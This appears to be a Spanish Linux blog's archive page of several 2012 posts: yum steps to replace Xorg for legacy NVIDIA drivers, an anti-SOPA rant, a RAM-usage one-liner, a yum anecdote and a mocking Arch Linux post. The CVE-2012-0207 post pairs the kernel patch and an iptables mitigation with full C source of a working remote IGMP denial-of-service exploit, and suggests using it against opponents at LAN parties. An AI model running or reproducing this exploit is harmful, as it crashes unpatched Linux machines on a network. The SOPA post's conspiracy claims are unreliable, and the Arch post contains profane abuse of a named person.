---> Paquete xorg-x11-drv-aiptek.x86_64 0:1.4.1-2.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-apm.x86_64 0:1.2.3-8.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-ast.x86_64 0:0.91.10-7.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-ati.x86_64 0:6.14.3-3.20111125git534fb6e41.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-cirrus.x86_64 0:1.3.2-10.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-dummy.x86_64 0:0.3.4-7.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-elographics.x86_64 0:1.3.0-2.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-evdev.x86_64 0:2.6.99-3.20110601giteaf202531.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-fbdev.x86_64 0:0.4.2-2.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-fpit.x86_64 0:1.4.0-2.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-glint.x86_64 0:1.2.5-2.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-hyperpen.x86_64 0:1.4.1-2.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-i128.x86_64 0:1.3.4-9.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-i740.x86_64 0:1.3.2-9.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-intel.x86_64 0:2.17.0-4.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-keyboard.x86_64 0:1.6.0-2.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-mach64.x86_64 0:6.9.0-2.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-mga.x86_64 0:1.4.13-8.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-mouse.x86_64 0:1.7.1-2.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-mutouch.x86_64 0:1.3.0-2.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-nv.x86_64 0:2.1.18-8.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-openchrome.x86_64 0:0.2.904-16.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-penmount.x86_64 0:1.5.0-3.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-qxl.x86_64 0:0.0.21-8.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-r128.x86_64 0:6.8.1-11.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-rendition.x86_64 0:4.2.4-7.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-s3virge.x86_64 0:1.10.4-9.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-savage.x86_64 0:2.3.3-1.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-siliconmotion.x86_64 0:1.7.5-2.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-sis.x86_64 0:0.10.3-7.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-sisusb.x86_64 0:0.9.4-7.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-synaptics.x86_64 0:1.5.0-2.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-tdfx.x86_64 0:1.4.3-9.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-trident.x86_64 0:1.3.4-7.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-v4l.x86_64 0:0.2.0-14.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-vesa.x86_64 0:2.3.0-9.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-vmmouse.x86_64 0:12.7.0-2.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-vmware.x86_64 0:11.0.3-6.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-void.x86_64 0:1.4.0-2.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-voodoo.x86_64 0:1.2.4-7.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-wacom.x86_64 0:0.12.0-1.fc16 debe ser eliminado
--> Resolución de dependencias finalizada

Dependencias resueltas

=================================================================================================================================================================================
 Paquete                                          Arquitectura                 Versión                                                   Repositorio                       Tamaño
=================================================================================================================================================================================
Eliminando:
 xorg-x11-server-Xorg                             x86_64                       1.11.3-1.fc16                                             @updates                          3.7 M
Eliminando para las dependencias:
 system-setup-keyboard                            x86_64                       0.8.8-1.fc16                                              @anaconda-0                        15 k
 xorg-x11-drv-acecad                              x86_64                       1.5.0-2.fc16                                              @anaconda-0                        19 k
 xorg-x11-drv-aiptek                              x86_64                       1.4.1-2.fc16                                              @anaconda-0                        29 k
 xorg-x11-drv-apm                                 x86_64                       1.2.3-8.fc16                                              @anaconda-0                       134 k
 xorg-x11-drv-ast                                 x86_64                       0.91.10-7.fc16                                            @anaconda-0                        55 k
 xorg-x11-drv-ati                                 x86_64                       6.14.3-3.20111125git534fb6e41.fc16                        @updates                          1.2 M
 xorg-x11-drv-cirrus                              x86_64                       1.3.2-10.fc16                                             @anaconda-0                        86 k
 xorg-x11-drv-dummy                               x86_64                       0.3.4-7.fc16                                              @anaconda-0                        19 k
 xorg-x11-drv-elographics                         x86_64                       1.3.0-2.fc16                                              @anaconda-0                        20 k
 xorg-x11-drv-evdev                               x86_64                       2.6.99-3.20110601giteaf202531.fc16                        @anaconda-0                        55 k
 xorg-x11-drv-fbdev                               x86_64                       0.4.2-2.fc16                                              @anaconda-0                        24 k
 xorg-x11-drv-fpit                                x86_64                       1.4.0-2.fc16                                              @anaconda-0                        17 k
 xorg-x11-drv-glint                               x86_64                       1.2.5-2.fc16                                              @anaconda-0                       221 k
 xorg-x11-drv-hyperpen                            x86_64                       1.4.1-2.fc16                                              @anaconda-0                        19 k
 xorg-x11-drv-i128                                x86_64                       1.3.4-9.fc16                                              @anaconda-0                        61 k
 xorg-x11-drv-i740                                x86_64                       1.3.2-9.fc16                                              @anaconda-0                        49 k
 xorg-x11-drv-intel                               x86_64                       2.17.0-4.fc16                                             @updates                          787 k
 xorg-x11-drv-keyboard                            x86_64                       1.6.0-2.fc16                                              @anaconda-0                        24 k
 xorg-x11-drv-mach64                              x86_64                       6.9.0-2.fc16                                              @anaconda-0                       229 k
 xorg-x11-drv-mga                                 x86_64                       1.4.13-8.fc16                                             @anaconda-0                       173 k
 xorg-x11-drv-mouse                               x86_64                       1.7.1-2.fc16                                              @anaconda-0                        53 k
 xorg-x11-drv-mutouch                             x86_64                       1.3.0-2.fc16                                              @anaconda-0                        19 k
 xorg-x11-drv-nv                                  x86_64                       2.1.18-8.fc16                                             @anaconda-0                       215 k
 xorg-x11-drv-openchrome                          x86_64                       0.2.904-16.fc16                                           @anaconda-0                       460 k
 xorg-x11-drv-penmount                            x86_64                       1.5.0-3.fc16                                              @anaconda-0                        39 k
 xorg-x11-drv-qxl                                 x86_64                       0.0.21-8.fc16                                             @anaconda-0                       219 k
 xorg-x11-drv-r128                                x86_64                       6.8.1-11.fc16                                             @anaconda-0                       118 k
 xorg-x11-drv-rendition                           x86_64                       4.2.4-7.fc16                                              @anaconda-0                        45 k
 xorg-x11-drv-s3virge                             x86_64                       1.10.4-9.fc16                                             @anaconda-0                        80 k
 xorg-x11-drv-savage                              x86_64                       2.3.3-1.fc16                                              @updates                          151 k
 xorg-x11-drv-siliconmotion                       x86_64                       1.7.5-2.fc16                                              @anaconda-0                       121 k
 xorg-x11-drv-sis                                 x86_64                       0.10.3-7.fc16                                             @anaconda-0                       573 k
 xorg-x11-drv-sisusb                              x86_64                       0.9.4-7.fc16                                              @anaconda-0                        77 k
 xorg-x11-drv-synaptics                           x86_64                       1.5.0-2.fc16                                              @anaconda-0                       110 k
 xorg-x11-drv-tdfx                                x86_64                       1.4.3-9.fc16                                              @anaconda-0                        69 k
 xorg-x11-drv-trident                             x86_64                       1.3.4-7.fc16                                              @anaconda-0                       162 k
 xorg-x11-drv-v4l                                 x86_64                       0.2.0-14.fc16                                             @anaconda-0                        23 k
 xorg-x11-drv-vesa                                x86_64                       2.3.0-9.fc16                                              @anaconda-0                        28 k
 xorg-x11-drv-vmmouse                             x86_64                       12.7.0-2.fc16                                             @anaconda-0                        23 k
 xorg-x11-drv-vmware                              x86_64                       11.0.3-6.fc16                                             @anaconda-0                        63 k
 xorg-x11-drv-void                                x86_64                       1.4.0-2.fc16                                              @anaconda-0                        14 k
 xorg-x11-drv-voodoo                              x86_64                       1.2.4-7.fc16                                              @anaconda-0                        32 k
 xorg-x11-drv-wacom                               x86_64                       0.12.0-1.fc16                                             @updates                          709 k

Resumen de la transacción
=================================================================================================================================================================================
Remove       44 Packages

Tamaño instalado: 10 M
Está de acuerdo [s/N]:

Aceptan con "s", y eliminan xorg por completo.
Ahora bien, solo queda, ir a /root/xorg_legacy o donde hayan bajado los rpm mediante wget o curl, y hacer esto:

yum localinstall *.rpm, donde yum, va a instalar todos los rpm que esten ahi dentro, y no habrá problemas de dependencias, porque estan todas completas.
Luego de realizado esto, es MUY importante excluir Xorg en yum, para que no se actualice, sino todo habrá sido en vano, asi que vamos a editar yum.conf.

nano -c /etc/yum.conf

Y colocamos al final
exclude = xorg*

Guardamos con Ctrl+o y salimos como Ctrl+x.
Ahora bien, pueden chequear que al hacer yum update, no se actualiza nada.
Solo falta, instalar el akmod o kmod, asi que yum search nvidia, seleccionan el legacy de su placa, y hacen yum install, reinician, y deberian tener video con los driver viejitos. En caso de que no tengan grafica, vuelven a iniciar en runlevel 3, y logueados como root, ponen:

Xorg -configure, para recrear de nuevo el xorg.conf, que será dejado en /root/xorg.new.conf, asi que lo mueven con el comando mv, a /etc/X11/ con el nombre xorg.conf.

Espero les sirva, y no metan la pata, comentarios, sugerencias, problemas, etc, seran bienvenidos.

Saludos

22 ene 2012

Fedora y Parabola Linux se suman al blackout y protesta | Megaupload, FileSonic, ninjavideo.net, quien sigue?

Fedora y Parabola Linux se suman, el resto?

No es curioso para mi, pero quizá si para otros, el hecho de que Fedora, sea la única distro que se sumo a poner el banner de stop SOPA el día 18 de Enero de 2012 o bien "Stop Internet Censorship" incluso hasta el día de hoy. Podrán ver en cada página del Proyecto Fedora, un banner que dice claramente, Stop Internet Censorship.
No quiero con esto iniciar un flame war, pero me gustaria remarcar, que Debian y otras que dicen ser FOSS en su modelo, Debian con su kernel libre, no solo no se sumo a nada, sino que no tiene planes de hacerlo.

Otra distro que se sumo a lo que esta pasando y es de público conocimiento, es Parabola Linux, la versión 100% libre de ArchLinux, donde puede verse su banner también.
Dirán, que tiene Fedora de FOSS?, bueno, para los que no saben, la instalación base de Fedora, no trae nada que no sea libre, excepto los blob del kernel, el resto, incluso rpmfusion, posee un free y non free, haciendo libre de responsabilidad del non free Fedora.


SOPA o no SOPA?

Si bien el cierre de Megaupload no tiene nada que ver con SOPA (al menos eso les dicen a ustedes mis lectores), yo les digo lo contrario, porque de estas cosas conozco y mucho.
Como la ley SOPA y PIPA fueron cajoneadas, para evitar problemas y mala imagen, dada la protesta de wikipedia, google y otros, recordemos que Obama está en pleno plan de releección, y no es bueno para el, una mala imagen, si bien el 80% diría yo, de los yankee apoya SOPA o bien no le interesa, el otro 20% si, y un votante, es algo no?.


Como sucede siempre, una cosa se tapa, otra sucede, aca pasó esto.
Cajonean la ley SOPA, PIPA y ACTA para no manchar la imagen de Obama, pero inventan una "Conspiración Mundial" contra EEUU, asi lo calificó al FBI, al tema Megaupload, donde se menciona a Taringa.net, seriesyonkies, ninjavideo.net (que YA FUE CERRADA), y otras. Al día de la fecha, FileSonic se encuentra imposibilidato de compartir archivos, solo se permite dentro de la misma cuenta de usuario, no link externos.

Entonces, que está pasando?, es muy claro, se cajonea una ley controversial y que da una mala imagen, para actuar rapidamente de la MISMA forma que indica esa ley, inventando un caso que no existe, sobre una conspiracion mundial contra EEUU.
Ahora, a continuacion, les dejo una reflexión de un tipo, no se quien es pero comparto lo que dice, las imagenes de Fedora y Parabola Linux, asi como un video comico y no tanto sobre Hitler se entera del cierre de Megaupload. Si bien el video es cómico, lo que dice el texto, es 100% real.
Pregunto yo, vamos a dejar que los reputos servicios de EEUU controlen el mundo? y si, me refiero al FBI y la CIA, porque yo no señores, y lo digo en serio, creo firmemente que compartir es bueno, que no es pirateria, y en caso de que haya un cataclismo en internet y todo vuelva a ser como en el año 1995, volveremos a traficar en ftp privados como haciamos antes.

Saludos

PD: Pido encarecidamente que miren el video del notero así como de Anonymous




Video sobre lo que se viene



Hitler se entera que cierran Megaupload



YAPA:

Mensaje de Anonymous al pueblo de EEUU


19 ene 2012

0day Linux IGMP Lan crash CVE-2012-0207 + Patch

El dia de hoy se publicó en seclist un 0day que usa el IGMP para crashear una red en LAN.
El bug afecta a todos los kernel Linux 2.6.36 o superiores, dado que la falla o regresion, fue introducida en el 2.6.36.
Si bien es solo en LAN, como dijo uno de los chicos de seclist acerca de "ah bueno es solo en lan", cito textual:

"Depends. Your network security people ever read BCP38? :)"


Eso es básicamente, el spoof de red, es decir, hacer creer al host remoto que el paquete proviene de la misma LAN.
A continuación un video del PoC, y luego comentaré algo.









Reporte de commit en kernel.org:


http://www.kernel.org/pub/linux/kernel/v3.0/ChangeLog-3.2.1
commit 25c413ad0029ea86008234be28aee33456e53e5b
Author: Ben Hutchings <ben@decadent.org.uk>
Date:   Mon Jan 9 14:06:46 2012 -0800

    igmp: Avoid zero delay when receiving odd mixture of IGMP queries
 
    commit a8c1f65c79cbbb2f7da782d4c9d15639a9b94b27 upstream.
 
    Commit 5b7c84066733c5dfb0e4016d939757b38de189e4 ('ipv4: correct IGMP
    behavior on v3 query during v2-compatibility mode') added yet another
    case for query parsing, which can result in max_delay = 0.  Substitute
    a value of 1, as in the usual v3 case.
 
    Reported-by: Simon McVittie <smcv@debian.org>
    References: http://bugs.debian.org/654876
    Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
    Signed-off-by: David S. Miller <davem@davemloft.net>

Parche, por si alguno quiere aplicarlo en caso de no tener updates y su kernel no es 3.x

From: Ben Hutchings <ben@decadent.org.uk>

commit a8c1f65c79cbbb2f7da782d4c9d15639a9b94b27 upstream.

Commit 5b7c84066733c5dfb0e4016d939757b38de189e4 ('ipv4: correct IGMP
behavior on v3 query during v2-compatibility mode') added yet another
case for query parsing, which can result in max_delay = 0.  Substitute
a value of 1, as in the usual v3 case.

Reported-by: Simon McVittie <smcv@debian.org>
References: http://bugs.debian.org/654876
Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
Signed-off-by: David S. Miller <davem@davemloft.net>

---
 net/ipv4/igmp.c |    2 ++
 1 file changed, 2 insertions(+)
--- a/net/ipv4/igmp.c
+++ b/net/ipv4/igmp.c
@@ -875,6 +875,8 @@ static void igmp_heard_query(struct in_d
  * to be intended in a v3 query.
  */
  max_delay = IGMPV3_MRC(ih3->code)*(HZ/IGMP_TIMER_SCALE);
+ if (!max_delay)
+ max_delay = 1; /* can't mod w/ 0 */
  } else { /* v3 */
  if (!pskb_may_pull(skb, sizeof(struct igmpv3_query)))
  return;




Bueno, se puede ver en el video claramente como el sistema remoto o atacado crashea de forma inmediata.
Respecto a lo que me concierne, cabe comentar, que Fedora 15 y 16 ya fixearon sus kernel el dia 11 de Enero de 2012, detalle:

"Correction.The 3.1.9 kernel contains corresponding backport commit dd9f9823b61ce894163433380ffcfc28eaf6e9c5. The 3.2.1 kernel contains corresponding backport commit 25c413ad0029ea86008234be28aee33456e53e5b."All Fedora branches are already fixed."

Ahora bien, RHEL 6.1 aun no tiene patch, openSUSE tampoco, Ubuntu y muchos mas, asi que, si quieren divertirse en una LAN party, dejando sin red al oponente, es ideal, otros fines, son delictivos y este post no es para fomentar el hack ilegal, que quede bien claro.

El que tenga un sistema sin update de kernel, puede bajar el 3.2.1 o ultimo stable y compilarlo, o bien aplicar el parche a igmp.c o bien si es mas vago, usar una regla de iptables como esta:

iptables -A INPUT -i <interface> -p igmp -j DROP (generalmente eth0 o wlan0)

Codigo del exploit:



/*
** linux-undeadattack.c
** Linux IGMP Remote Denial Of Service (Introduced in linux-2.6.36)
** CVE-2012-0207
** credits to Ben Hutchings:
** http://womble.decadent.org.uk/blog/igmp-denial-of-service-in-linux-cve-2012-0207.html
** written By Kingcope
** Year 2012
** Ripped & modified code written by Firestorm
** Tested against * OpenSuSE 11.4 system
**  * Recent Ubuntu Distro
**
** Example:
** ./undeadattack 192.168.2.16 192.168.2.3
** The Linux Kernel at the remote side will Panic
** when sent over the network :>
** ENJOY!
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>


struct iphdr
{
  unsigned char ihl:4, version:4, tos;
  unsigned short tot_len, id, frag_off;
  unsigned char ttl, protocol;
  unsigned short check;
  unsigned int saddr, daddr;
  unsigned int options1;
  unsigned int options2;
};


struct igmp_query {
        unsigned char type;
        unsigned char maxresponse;
        unsigned short csum;
        unsigned int mcast;
        char padding[40];
};


unsigned short in_chksum(unsigned short *, int);
long resolve(char *);


long resolve(char *host)
{
  struct hostent *hst;
  long addr;


  hst = gethostbyname(host);
  if (hst == NULL)
    return(-1);


  memcpy(&addr, hst->h_addr, hst->h_length);


  return(addr);
}


int main(int argc, char *argv[])
{
  struct sockaddr_in dst;
  struct iphdr *ip;
  struct igmp_query *igmp;
  long daddr, saddr;
  int s, i=0, c, len, one=1;
  char buf[1500];


  if (argc < 3)
  {
    printf("Linux IGMP Remote Denial Of Service (Introduced in linux-2.6.36)\n"
  "credits to Ben Hutchings\nwritten by Kingcope\n"
  "Ripped & modified code written by Firestorm\n");
    printf("Usage: %s <src> <dst>\n", *argv);
    return(1);
  }


  daddr = resolve(argv[2]);
  saddr = resolve(argv[1]);

  memset(buf, 0, 1500);
  ip = (struct iphdr *)&buf;
  igmp = (struct igmp_query*)&buf[sizeof(struct iphdr)];

  dst.sin_addr.s_addr = daddr;
  dst.sin_family = AF_INET;

  ip->ihl = 7;
  ip->version = 4;
  ip->tos = 0;
  ip->tot_len = htons(sizeof(struct iphdr)+8);
  ip->id = htons(18277);
  ip->frag_off=0;
  ip->ttl = 1;
  ip->protocol = IPPROTO_IGMP;
  ip->check = in_chksum((unsigned short *)ip, sizeof(struct iphdr));
  ip->saddr = saddr;
  ip->daddr = daddr;
  ip->options1 = 0;
  ip->options2 = 0;
  igmp->type = 0x11;
  igmp->maxresponse = 0xff;
  igmp->mcast=inet_addr("224.0.0.1");

  igmp->csum = 0; //For computing the checksum, the Checksum field is set to zero.
  igmp->csum=in_chksum((unsigned short *)igmp, 8);

  s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (s == -1)
    return(1);

  printf("Sending IGMP packet: %s -> %s\n", argv[1], argv[2]);

      if (sendto(s,&buf,sizeof(struct iphdr)+8,0,(struct sockaddr *)&dst,sizeof(struct sockaddr_in)) == -1)
      {
        perror("Error sending packet");
        exit(-1);
      }

  close(s);

  s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (s == -1)
    return(1);

  ip->id = htons(18278);
  ip->tot_len = sizeof(struct iphdr)+12;
  igmp->type = 0x11;
  igmp->maxresponse = 0;
  igmp->mcast=inet_addr("0.0.0.0");

  igmp->csum = 0; //For computing the checksum, the Checksum field is set to zero.
  igmp->csum=in_chksum((unsigned short *)igmp, 12);

  printf("Sending IGMP packet: %s -> %s\n", argv[1], argv[2]);

      if (sendto(s,&buf,sizeof(struct iphdr)+12,0,(struct sockaddr *)&dst,sizeof(struct sockaddr_in)) == -1)
      {
        perror("Error sending packet");
        exit(-1);
      }

  return(0);
}


unsigned short in_chksum(unsigned short *addr, int len)
{
   register int nleft = len;
   register int sum = 0;
   u_short answer = 0;

   while (nleft > 1) {
      sum += *addr++;
      nleft -= 2;
   }


   if (nleft == 1) {
      *(u_char *)(&answer) = *(u_char *)addr;
      sum += answer;
   }


   sum = (sum >> 16) + (sum & 0xffff);
   sum += (sum >> 16);
   answer = ~sum;
   return(answer);
}

Disclaimer:

El codigo y patch es para un PoC, con fines educativos, en un ambiente controlado, cualquier uso para activivades no legales, no se responsabiliza este blog.

16 ene 2012

Script para ver el uso de ram por proceso

Es un simple script para ver el uso de ram de cada proceso desde terminal, pueden meterlo en un script en /usr/local/bin y tenerlo como comando no?, como ser, ver_mem. Solo copien y peguen en un terminal y vean su magia.
Aquí el script:

ps aux | awk '{print $6" "$11,$12,$13,$14}' | egrep -v "0.*\[.*\]" | awk '{print $1/1024" Mb --> "$2,$3,$4,$5}' | sort -g

Yum, el package manager de Fedora, RHEL y derivados | Sorpresa



Algunos saben y otros no, en mi desktop uso Fedora KDE spin como distro principal, y en mi notebook SL6.1 (scientific linux 6.1), otro clon de RHEL, como lo es CentOS, solo que me decanto por SL por temas personales que no van a este post.

Más adelante me explayaré mas sobre YUM y sus bondades frente a otros package manager, pero hoy se me ocurrio hacer esta entrada solo para mostrar algo que poco se ve en muchas distro.

Transmission, el conocido cliente de torrent GTK o CLI, no viene en los repos de RHEL ni de casualidad, como queria usarlo hace unos meses, lo instalé usando rpm -ivh con los rpm y dependencias de FC13, dado que RHEL6.x es derivado de Fedora 12 + Fedora 13.

Asi que a mano los instale, sin usar yum, solo rpm.

Para mi sorpresa, el equipo de EPEL, metio en sus repos a Transmission*, y para contento mio, y algo que no sabia, YUM fue capaz de leer la DB de rpm, ver el package transmission, darse cuenta que habia un update en EPEL (el mismo paquete pero con version mas reciente), y actualizarlo.

Asi que, una bondad mas de YUM, tan criticado por estar escrito en Python, es que si instalan algo usando rpm que no este en su distro, pero luego es introducido en algun repo, YUM avisará de la version mas actual y ofrecerá hacer el update. Interesante no?:




Updating:

transmission-cli i686 2.13-1.el6 epel 193 k

transmission-common i686 2.13-1.el6 epel 526 k

transmission-gtk i686 2.13-1.el6 epel 639 k

-----

Updating : transmission-common-2.13-1.el6.i686 1/6
Updating : transmission-gtk-2.13-1.el6.i686 2/6
Updating : transmission-cli-2.13-1.el6.i686 3/6
Cleanup : transmission-cli-1.93-1.fc13.i686 4/6
Cleanup : transmission-gtk-1.93-1.fc13.i686 5/6
Cleanup : transmission-common-1.93-1.fc13.i686 6/6

Nota: Notese el fc13.i686 lo que data que si habia instalado transmission usando koji de fedora con sus rpm

Ahora abro transmission y veo...

Acerca de:

Transmission 2.13 (11501)

Eso es todo por hoy, haré una proxima entrada comentando pros y contras de YUM, asi como su uso, plugins y la diferencia con RPM o up2date.

11 ene 2012

GPG ArchLinux - Pacman 4 (?)

Perdón a los arch lovers, pero no puedo evitar orinarme de la risa al ver esto.
Haciendo nada, en la web, en realidad, buscando versiones de paquetes de Arch en sus repos, me di con pacman 3.5 outdated, fuera de fecha, asi que me sugeria el 4 (aclaro que NO uso arch, solo miraba sus repos), cuando lo veo, en sus dependencias dice gpgme, dije, wow, toda una noticia, ya incluyeron GPG en los paquetes, o sea, firmados, cosa que hace como 4 años se le critica.
Cuando vi el G+ de Ionut Biru no pude evitar reirme sin parar, dado que el anuncio lo hizo el dia 14/10/2011 y siendo 11/01/2012 aun esta en testing.
Para colmo una persona le comenta, que seria bueno una stable branch, a lo que el algo ofuscado responde que si insinua que Arch no es estable..... no!!! sino que esta en testing hace 3 meses, demoraron 4 años y si, ademas agrego yo, no es estable como distro que ellos critican, como Fedora.
Dejo imagenes a continuacion, puteadas insultos, banes de los arch lovers, por mail, en comment, o bien por IRC en Freenode, mi nick ya lo saben.
Saludos a falconindy (irc.freenode.net) que me baneo de #archlinux (mejor asi no leo mas cosas decadentes) porque le pasaron el dato de mi blog, que se meta el ban por el culo, que le va a sentar bien, a ver si hace algo decente.


Noten claramente el /testing/ de pacman 4